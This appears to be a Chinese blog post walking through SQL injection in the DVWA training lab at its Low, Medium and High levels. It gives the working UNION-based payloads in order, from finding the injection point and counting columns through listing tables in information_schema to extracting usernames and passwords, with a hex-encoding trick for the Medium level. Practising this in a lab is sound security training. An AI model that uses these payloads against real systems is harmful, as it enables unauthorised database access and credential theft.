DVWA-sql注入

一,Low
1,通过1 and 1=1  和 1 and 1=2  和 1' and ’1’=1# 判断是否存在注入点和注入类型
由此可见,为字符串型注入
 
2,通过  1’ order by 2#  和  1' order by 3 # 试探有多少列,由此可见,有两列(因为order by 3 报错)
 
3,关于' 和 # 的解释
存在单引号闭合
所以如果不加’和 #  的话,查询语句应该是这样的: id = '1' order by 2
即,后面的order by 2 不被调用
加上后: id = '1'' order by 2 #'
1后面加'是为了闭合本身1后面的单引号,#是为注释后面数据库规则加的单引号
后面联合查询也是同理
 
3,联合查询
首先,要判断可以显示的注入点:1' union select 1,2 # 
ps:1,2 可以被替换
pps:下图可以看出有两个回显点
查询当前的数据库,以及版本:
1' union select version(),database() #
ps:database()    ------当前数据库
       version()       -------当前版本
 
查询数据库中的表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
 
查询表中的字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' # 
 
查询字段中的数据(例如账号密码):
1' union select user,password from users #
 
 
 
二,Medium
1,首先是要确定注入点,下图可见,url和查询点都没有注入点,尝试抓包
通过测试判断出注入点为id= 1
 
2,通过  1 order by 2  和  1 order by 3  试探有多少列,由此可见,有两列(因为order by 3 报错)
 
 
3,联合查询
判断注入点:1 union select 1,2
 
查询当前的数据库,以及版本:1 union select version(),database()
 
查询数据库中的表:1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
 
查询表中的字段名:1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273
ps:user转化为hex(因为存在单引号和斜杠闭合)
 
查询字段中的数据(例如账号密码):1 union select user,password from users
 
三,High
1,1,通过1 and 1=2 , 1' and 1=2#  和 1' and ’1’=1# 判断是否存在注入点和注入类型
由此可见,为字符串型注入,切存在单引号闭合
 
2,通过  1’ order by 2#  和  1' order by 3 # 试探有多少列,由此可见,有两列(因为order by 3 报错)
 
3,联合查询
判断可以显示的注入点:1' union select 1,2 # 
查询当前的数据库,以及版本:
1' union select version(),database() #
 
查询数据库中的表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
 
查询表中的字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users' # 
 
查询字段中的数据(例如账号密码):
1' union select user,password from users #
 
 
四,Impossible
有csrf,单纯注入不行,就不记录了
posted @ 2022-07-06 10:59  幸运盒子  阅读(652)  评论(0编辑  收藏  举报